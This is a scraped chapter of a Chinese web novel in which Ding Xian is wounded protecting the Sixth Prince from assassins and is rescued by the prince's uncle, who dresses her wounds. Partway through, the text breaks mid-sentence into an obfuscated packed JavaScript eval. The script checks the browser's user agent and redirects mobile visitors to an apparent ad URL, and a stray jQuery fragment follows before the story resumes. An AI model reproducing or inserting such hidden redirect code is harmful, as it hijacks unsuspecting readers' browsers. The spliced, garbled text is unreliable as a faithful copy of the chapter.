110. 第一百一十章

作品:《娴来恒伴

    亲眼目睹利箭划破空气射来,丁娴的脑子顿时一阵空白,一个声音在脑海里不断放大重复:“六皇子不能死!六皇子不能死!”


    那一瞬就像慢动作似的静止了一样,几乎是身体的条件反射,也或许是梁静茹给的勇气,丁娴转身朝六皇子扑了过去,再一次的,见义勇为。


    与上辈子不同的是,丁娴这次没有英勇就义,而是左背上被插了一支利箭。


    这一刻,丁娴发觉自己的感官被无限放大,箭头划破衣服刺进肉中,那股寒意夹杂着痛感通过神经直冲天灵盖,疼得她咬紧牙关闷哼一声,小脸惨白一片,瞬间就一脑门的冷汗。


    所幸那射箭的人在拉弓的时候被人阻碍了一下,箭的力道和速度都有所缓减,否则丁娴这肩膀非得被射穿不可。


    射箭的人被雷忠一刀砍杀,六皇子赶紧扶住受伤的丁娴,雷泓把身边的黑衣人逼退也帮着稳住丁娴的身子。


    “怎么样?”雷泓关切的问。


    “我他妈疼死了!”丁娴疼得直哆嗦,她这身子细皮嫩肉的,上次被划伤掌心都疼得要命,这次直接箭头入背,那感觉有种形容不出的肉酸。


    “我看看,”雷泓去看丁娴的背,竟是松了口气,“伤得不深,也就一个箭头的深度。”


    丁娴听得一口老血堵喉咙,六皇子双眼发红的对丁娴叫姐姐,丁娴低头看他,想着自己也算是救驾有功,到时候非得在他老爹面前邀功不可,不说黄金万两,怎么着也得赏个百两黄金才能彰显他们皇家的霸气不是。


    “能跑吗?”雷泓一边与身边的黑衣人过招一边问丁娴。


    丁娴咬牙切齿:“可以!”不可以也必须可以,不然她这一箭就白挨了。


    这时候雷鸣和雷忠也来到他们身边,帮着一起应对黑衣人的攻击。


    雷泓转头对丁娴笑着说:“丁一,你一定要活着离开这里,我等着在你的书里看到我的身影,等着在苏荷与你不醉不归!”


    听了这话,丁娴的眼眶不由得有些泛红,她重重的点头,声音有些哽咽:“你们也要活着去苏荷找我!保重!后会有期!”


    眼看黑衣人越来越多,丁娴也不再耽搁,在雷帮三个当家的掩护下,她一手拿剑一手牵着六皇子是头也不回的朝东面跑。


    奔跑中,丁娴把红绳扔在树上,拿出书稿递给六皇子,让他把纸张撕碎,隔一段距离就扔一点,她不怕敌人知道她的行踪,就怕肖恒他们不知道她的行踪。


    雷帮的三位当家给丁娴和六皇子争取了时间,让他们顺利找到那个树洞,有惊无险的躲过了太子死士的搜寻。


    背上的伤口突然一抽,疼得丁娴皱眉“嘶”了一声,人也从昏睡中悠悠转醒,同个姿势睡太久,她感到自己半边身子已经麻了,树洞里很暗,她看不清六皇子,不过从小胖墩细细的打鼾声得知这孩子是睡得比她还要天塌不惊。


    丁娴哭笑不得,这小胖墩还主动扛起把风的重任呢,也亏得这个树洞够隐蔽,太子的死士怕是想破脑袋也想不到她和六皇子就藏在他们的眼皮子底下。


    有句话咋说来着,最危险的地方就是最安全的。


    六皇子睡得并不踏实,丁娴一动他就被惊醒,刚睡醒的声音还软糯糯的:“姐姐怎么了?”


    “姐姐又饿又渴的,需要去找生命的源泉续命。”丁娴咬牙小幅度的舒展身体,每动一下,背后的伤口和僵麻的肢体都疼得她脑壳胀痛。


    好不容易爬出树洞,呼吸着山林间湿润却清新的空气,丁娴有种活着真好的感慨。她找到自己故意丢下的鞋子穿上,手拿着剑,与六皇子朝雷泓说的方向寻找水源。


    六皇子不知道丁娴说的生命的源泉是什么,只知道跟着姐姐走准没错,只可惜上天对他们的考验还未结束,让他们顺利找到溪流的同时,也与两个直冲水源的黑衣蒙面人打了个面罩。


    四人八目对望,皆在双方的眼里看见明显的惊慌失措,太子的死士也不是傻子,哪里不知道谋杀皇子是重罪,只是他们有命在身,背叛太子也是死路一条,好在六皇子身边跟着的是一个姑娘,他们瞬间就镇定下来,这是只能成功不许失败的任务。


    丁娴的心理素质可没有对方好,自己的斤两自己清楚,就她那三脚猫功夫,对付何念之那种柔弱书生是不在话下,在没有受伤的情况下应对一个黑衣人也或许能有一线生机,可现在的情况是,她不仅受了伤,是个伤残人士,面对两个在杀人方面是专业的死士,还要确保六皇子的安全,真以为她是孙大圣吗,她有这本事早就一个跟斗云带着六皇子出现在皇帝老儿面前了。哦,或许她是那个倒霉的唐僧。


    想不通,除了想不通还是想不通,她丁娴的运气怎么就这么令人发指的倒霉,她不过是想喝点水,这下好了,水没喝着一滴,战斗倒是随时打响。


    天色渐渐破晓,晨曦的微光透过树林的枝叶星星点点的洒落地面,令四周的环境变得清晰起来,可很快的,浓厚的乌云把那点微光缓缓遮掩,空气中弥漫着湿润的气息,又闷得让人焦躁。


    丁娴琢磨着是不是可以跟对方唠嗑一下,拖延一些时间也好,电视剧里的反派大多死于话多,她也很想效仿一下,然而现实不是电视剧,两个死士非但没有说一句话,还抽出腰间的佩剑,移动脚步朝丁娴与六皇子逼近。


    豁出去了,丁娴双手握紧手中的长剑,低声对六皇子说:“待会儿你找个地方躲好。”


    她没有让六皇子趁机逃跑,山间迷路是死,她阻挡不了这两人若是让其中一人去追也是死,如今唯有祈祷奇迹发生,随便一人赶来救驾就成。事到如今,她是无论如何也不会让六皇子在她眼前殒命,说她天真到以卵击石也认了,她最后的倔强不允许还未尝试就认输。


    “打个商量如何?”丁娴朝那两黑衣人喊,“咱们一对一,输了我认。”


    两个死士看得出丁娴并无内力,背上还中了一箭,他们两人一起出手,分分钟可以把这两人砍杀,不过他们一个姑娘一个孩子,传了出去倒是有些胜之不武,两个死士对视一眼,都认为不会出什么岔子,便同意了丁娴提出的一对一单挑。


    丁娴往前站了一步,六皇子是听话的跑到一颗大树后探出小脑袋担忧的关注这场几乎是毫无胜算的决斗。其中一个黑衣人也站了出来,另一个则双手抱剑观战。


    闷热的空气中弥漫着无形的紧张,这时一阵妖风吹来,吹得树林间的树叶沙沙作响,鸟儿惊叫乱飞,这声音听在丁娴耳里就如鬼哭狼嚎一般心脏突突直跳。


    这些声音就像一个信号,丁娴与黑衣人同时动身,两剑相触,发出清脆的声音。


    勉强对了几招,丁娴已是大口喘气,她的胳膊被划伤,血珠争先恐后的往外冒,女子的体力本就不占上风,她不明白书中写的电视剧里拍的女子为何可以一人打败一群男人,这不是瞎编吗!


    丁娴觉得自己此刻就跟回光返照的病人一样,后背及手臂上的伤已经感觉不到疼痛,憋着那口气奋力挥动手中的剑,把之前在镖局学到的所有招式全部展示,还真让她把黑衣人的衣服划破,可黑衣人到底是专业的杀手,前几招也跟逗她玩一样,此刻他握剑的手腕一转,利剑把丁娴手上的剑震飞,丁娴的那口气也终于散尽,满头大汗、面色惨白的跌坐在地大口喘气。


    低着头的丁娴露出一抹苦笑,眼眶也渐渐泛红,她全身乏力,全身疼得厉害,手指头连动一下的力气也没有。


    无能为力了吗?这就是结局吗?她丁娴注定两辈子都是短命鬼吗?


    围观的黑衣人吹了个口哨,与丁娴过招的黑衣人得令后抬剑就要送丁娴上路,躲在大树后的六皇子不敢哭出声,眼看丁娴就要殒命在此,忍不住用小手捂着眼睛,眼泪从指缝间滑落,他知道自己很快就是下一个。


    面对死亡,丁娴以为自己会尖叫,以为会破口大骂,以为脑海里会出现走马灯,会想起家人朋友和肖恒,可实际上她的脑海一片空白,太阳穴突突的疼,全身发麻瘫软,紧张得就要窒息。


    黑衣人手起刀落,当利剑斩断丁娴发顶的一根青丝时,从树林里飞来一把小刀,正中黑衣人的眉心。


    黑衣人闷哼一声,双眸写满惊恐和不敢置信,人也朝后倒去,生死一瞬间,死得悄无声息。


    低着头的丁娴只觉得天灵盖发凉,没闭上的眼睛不敢置信的看着倒在她眼前已经死翘翘的黑衣人发愣。


    事情发生得太突然,本来笃定的事情出现变数,看见同伴死在暗器之下,另一个黑衣人手持利剑,警惕的环顾四周。


    一个人影如一阵风似的从丁娴身边经过,与黑衣人交上了手。


    高手过招,招招毙命,也就几招的功夫,黑衣人的胸口被利剑刺穿,倒在地上死不瞑目。


    六皇子最先反应过来,当救驾的人转过身,小胖墩是边朝那人冲去边发出尖锐且委屈的哭喊:“舅舅!”


    惊魂未定的丁娴用尽全身力气抬头看,这人,居然还是个四舍五入勉强算是认识的人。


    秀逗马爹,小胖墩叫这人什么?舅


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093472|162196||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    舅?


    “小六,我还想喝点儿水。”


    “姐姐你稍等!”得了令的六皇子麻溜的拿起酒壶起身走到溪边蹲下装水。


    诸葛日天俊眉一挑:“你叫六皇子为小六?”


    “啊,怎么了?”


    六皇子哒哒哒的跑到丁娴身边,把酒壶递给她说:“姐姐你喝水,我去看看烤鱼好了没。”说完就走到诸葛日天身边查看烤鱼进度。


    诸葛日天被六皇子这一系列小奴才的表现给气乐了,就说那酒壶,还是他心疼这个小外甥才忍痛把里面的美酒倒掉给他装水喝,结果呢,好家伙,这小子装了水竟是先拿去给丁娴,丁娴假装客气两句也当真自己先喝了起来。


    “舅舅,这鱼可是烤好了?”


    诸葛日天把烤鱼递给六皇子,撇撇嘴:“喏,拿去,小心烫。”


    六皇子一手一条烤鱼走回丁娴身边,递给她一条,贴心的叮嘱:“姐姐小心烫。”


    丁娴接过,眉眼不由得变柔:“谢谢小六,你也饿了,一起吃啊。”


    烤鱼没有味道,并不好吃,丁娴吃得万分沉默,同样沉默的还有六皇子,吃惯了山珍海味和精致吃食的小人儿只觉得嘴里的烤鱼味同嚼蜡。


    诸葛日天没有错过他们两人想嫌弃又不敢的表情,没好气的把手伸到腰间,本该挂着酒壶的地方空空如也,他才想起他的美酒早已灌溉身边的草地。


    闲着也是闲着,诸葛日天又盯着丁娴瞧,不由得啧啧称奇,当今世上,能让皇子伺候喝水,吃着国舅烤的鱼,还接受得这般理所当然、心安理得,放眼整个大商怕是也只有丁娴有这殊荣和胆量。


    吃饱喝足,三人商定在原地暂坐休息,丁娴身上的伤口需要处理。


    诸葛日天走到丁娴身前蹲下,本意是先处理她手臂上的伤口,怎料到这姑娘竟然双手遮胸,一脸戒备的拧眉:“继上次用言语调戏我,这次是要直接动手轻薄我?”


    听她这么说,诸葛日天的额筋是突突的疼,他咬牙切齿道:“我何时调戏过你?”


    丁娴面露惊讶,好心提醒他:“一年多前,破庙。”


    “都说了当时喝多了酒,酒后失言。”


    “是是是,您身份尊贵,您说啥就是啥。”


    丁娴虚伪的恭维气得诸葛日天牙痒痒,偏又无法反驳,那晚发生事,他确实理亏在先。


    六皇子只是年纪小又不是傻,双眼在两人面上扫视几个来回:“你们两人认识呀?”


    生怕丁娴又说出什么惊人的虎狼之词,诸葛日天抢着回答:“有过一面之缘。”


    丁娴看向诸葛日天,一脸似笑非笑的应和:“确实是一面之缘。”


    六皇子双眸发亮,笑着拍手:“那还真是有缘了。”


    可不就是有缘吗,丁娴想过见鬼都没想过这个赶来把她和六皇子救下的人居然正是那时候她与肖恒进京路上在破庙里用言语调戏过自己的三儿,怪不得这人这般嚣张放肆,原来是当今皇后的亲弟弟,就连取个名字都厉害得连天也不放过。


    丁娴身上有两处伤口,一个在后背,一个在手臂。


    诸葛日天随身携带了创伤药,看着丁娴手臂上的伤一时间有些犯难,生怕她又来一句轻薄。


    丁娴不是那种不分青红皂白就无理取闹的女人,别说诸葛日天这是好心给她处理伤口,就冲他这个了不得的身份,她也是万万得罪不起的,之前不知者无罪还能说是情有可原,现在知道了,她可没有这个狗胆。


    “你这衣袖……”


    丁娴瞥了一眼衣袖,不甚在意的说:“麻烦你帮我把衣袖撕了吧。”


    若换是别的姑娘,被男子看见裸露的胳膊那不得哭哭啼啼,这是有失名节,丁娴反倒催促:“快点动手呀,我要疼死了。”


    丁娴不在意,诸葛日天也就不再矫情,一把撕开丁娴的衣袖,只见一条细嫩的胳膊上有一道触目惊心的伤痕,在雪白的肤色衬托下更显狰狞。


    诸葛日天沉默不语的给丁娴上药,丁娴疼得直咬牙,硬是把就要脱口而出的脏话咽下去,六皇子还小,她不能做个坏榜样,莫名的自尊也不允许她在诸葛日天面前示弱。


    “舅舅,你是怎么找到这儿的?”六皇子好奇的问。


    诸葛日天手上的动作不停:“我早年曾与雷帮的人有过交情,来过这片山头,是故知道你被雷帮的人绑了就直奔而来。”


    也是运气站在他这边,及时赶到把人救下,若是六皇子真出了事,他无颜面对姐姐了。